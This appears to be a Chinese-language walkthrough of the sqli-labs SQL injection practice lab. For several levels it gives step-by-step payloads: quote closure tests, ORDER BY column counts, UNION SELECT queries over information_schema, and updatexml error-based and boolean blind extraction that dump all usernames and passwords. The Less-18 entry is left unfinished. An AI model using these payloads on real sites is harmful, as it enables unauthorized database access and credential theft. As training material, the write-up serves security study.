Page-1
Less-1
1.进入第一题,显示Please input the ID as parameter with numeric value
,告诉了我们参数为id
2.构造?id=1
,页面显示正常
3.接下来加个单引号,显示语句出错,根据报错信息可以得知参数id
的值被单引号
包裹
4.构造?id=1' and '1'='1
页面重新显示正常,由此判断出这题是单引号字符型注入
5.构造?id=1' order by 1 --+
通过order by子句来判断该数据表的字段数
页面显示正常
构造?id=1' order by 2 --+
页面显示正常
构造?id=1' order by 3 --+
页面显示正常
构造?id=1' order by 4 --+
页面报错,由此可知该表字段数为3
6.构造?id=-1' union select 1,2,3 --+
判断出回显点为该表的第二、三字段
7.构造?id=-1' union select 1,2,database() --+
知道了数据库名为security
8.构造?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
在数据库information_schema中的tables表里查询出security数据库的表有:emails,referers,uagents,users
9.构造?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
在数据库information_schema中的columns里查找出数据库security中的users表的全部字段
10.构造?id=-1' union select 1,group_concat(username),group_concat(password) from users --+
爆出所有的用户名和密码
Less-2
1.进入第二题,显示Please input the ID as parameter with numeric value
,告诉了我们参数为id
2.构造?id=1
,页面显示正常
3.接下来加个单引号,显示语句出错,根据报错信息可以得知是单引号
影响了SQL语句的闭合,由此判断出这题是数字型注入
4.构造?id=1 order by 1 --+
通过order by子句来判断该数据表的字段数
页面显示正常
构造?id=1 order by 2 --+
页面显示正常
构造?id=1 order by 3 --+
页面显示正常
构造?id=1 order by 4 --+
页面报错,由此可知该表字段数为3
5.构造?id=-1 union select 1,2,3 --+
判断出回显点为该表的第二、三字段
6.构造?id=-1 union select 1,2,database() --+
知道了数据库名为security
7.构造?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
在数据库information_schema中的tables表里查询出security数据库的表有:emails,referers,uagents,users
8.构造?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
在数据库information_schema中的columns里查找出数据库security中的users表的全部字段
9.构造?id=-1 union select 1,group_concat(username),group_concat(password) from users --+
爆出所有的用户名和密码
Less-3
1.进入第三题,显示Please input the ID as parameter with numeric value
,告诉了我们参数为id
2.构造?id=1
,页面显示正常
3.接下来加个单引号,显示语句出错,根据报错信息可以得知参数id
的值被单引号和括号
包裹
4.构造?id=1') order by 1 --+
通过order by子句来判断该数据表的字段数
页面显示正常
构造?id=1') order by 2 --+
页面显示正常
构造?id=1') order by 3 --+
页面显示正常
构造?id=1') order by 4 --+
页面报错,由此可知该表字段数为3
5.构造?id=-1') union select 1,2,3 --+
判断出回显点为该表的第二、三字段
6.构造?id=-1') union select 1,2,database() --+
知道了数据库名为security
7.构造?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
在数据库information_schema中的tables表里查询出security数据库的表有:emails,referers,uagents,users
8.构造?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
在数据库information_schema中的columns里查找出数据库security中的users表的全部字段
9.构造?id=-1') union select 1,group_concat(username),group_concat(password) from users --+
爆出所有的用户名和密码
Less-4
1.进入第四题,显示Please input the ID as parameter with numeric value
,告诉了我们参数为id
2.构造?id=1
,页面显示正常
3.接下来加个双引号,显示语句出错,根据报错信息可以得知参数id
的值被双引号和括号
包裹
4.构造?id=1") order by 1 --+
通过order by子句来判断该数据表的字段数
页面显示正常
构造?id=1") order by 2 --+
页面显示正常
构造?id=1") order by 3 --+
页面显示正常
构造?id=1") order by 4 --+
页面报错,由此可知该表字段数为3
5.构造?id=-1") union select 1,2,3 --+
判断出回显点为该表的第二、三字段
6.构造?id=-1") union select 1,2,database() --+
知道了数据库名为security
7.构造?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
在数据库information_schema中的tables表里查询出security数据库的表有:emails,referers,uagents,users
8.构造?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
在数据库information_schema中的columns里查找出数据库security中的users表的全部字段
9.构造?id=-1") union select 1,group_concat(username),group_concat(password) from users --+
爆出所有的用户名和密码
Less-5
1.进入第五题,显示Please input the ID as parameter with numeric value
,告诉了我们参数为id
2.构造?id=1
,页面显示You are in...........
,不再像前4题显示name
和passw
3.接下来加个单引号,显示语句出错,根据报错信息可以得知参数id
的值被单引号
包裹
4.构造?id=1‘ order by 1 --+
通过order by子句来判断该数据表的字段数
页面显示正常
构造?id=1' order by 2 --+
页面显示正常
构造?id=1' order by 3 --+
页面显示正常
构造?id=1' order by 4 --+
页面报错,由此可知该表字段数为3
5.构造?id=-1' union select 1,2,3 --+
判断回显点,结果发现行不通
6.构造?id=1' and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1) --+
发现可以进行盲注
7.构造?id=1' and length(database())=8 --+
发现8的时候页面正常显示,其他数值时页面不显示You are in…,由此可知数据库名是8位
8.构造?id=1' and left(database(),1)='s'--+
发现页面正常,所以数据库第一位为s
9.构造?id=1' and left(database(),2)='se'--+
,页面显示正常,所以数据库前两位为se
10.构造?id=1' and left(database(),8)='security'--+
,页面正常,得出数据库名为security(可以通过py脚本爆破或者burp爆破得出数据库名)
11.构造?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) --+
爆出表名
12.构造?id=1' and updatexml(1,concat(0x7e,(select group_concat(username,0x7e,password) from users),0x7e),1) --+
,发现最后报错结尾没有显示出~
(即0x7e),说明还有数据没有显示出来
13.构造?id=1' and updatexml(1,concat(0x7e,(substr((select group_concat(username,0x7e,password) from users),1)),0x7e),1) --+
,通过substr()
来进行截取,由于每次只能截取31个字符,所以每次都把substr函数中的数值加31(1,32,63······以此类推),直到最后的数据以~
(即0x7e)结尾,最后把所有结果进行拼接就可以得到完整的数据
Less-11
1、进入第11题
2、先随便填点并抓个包,通过抓的包可以知道是POST提交
3、给passwd的值加个单引号后通过报错可以知道是通过单引号闭合的
4、通过order by
测试出字段数为2
5、在passwd的值后面加上' and 1=2 union select 1,2--+
测出回显点
6、在passwd的值后面加上' and 1=2 union select group_concat(username),group_concat(password) from users--+
爆出所有账号密码
Less-18
1、打开18题
2、账号密码输入admin并抓个包,通过登录后的界面可以知道他获取了我们的User Agent,那么User Agent就有可能存在注入
3、
Less-20
1、进入第20题
2、先填入admin并抓个包,通过抓的包可以知道这里Cookie的值是进行过数据库操作的
3、在Cookie的值后面加个单引号,通过报错可以知道是通过单引号进行闭合的
4、通过order by
测出字段数为3
5、在Cookie的值后面加上' and 1=2 union select 1,2,3--+
判断出回显点
6、在Cookie的值后面加上' and 1=2 union select 1,group_concat(username),group_concat(password) from users--+
爆出账号密码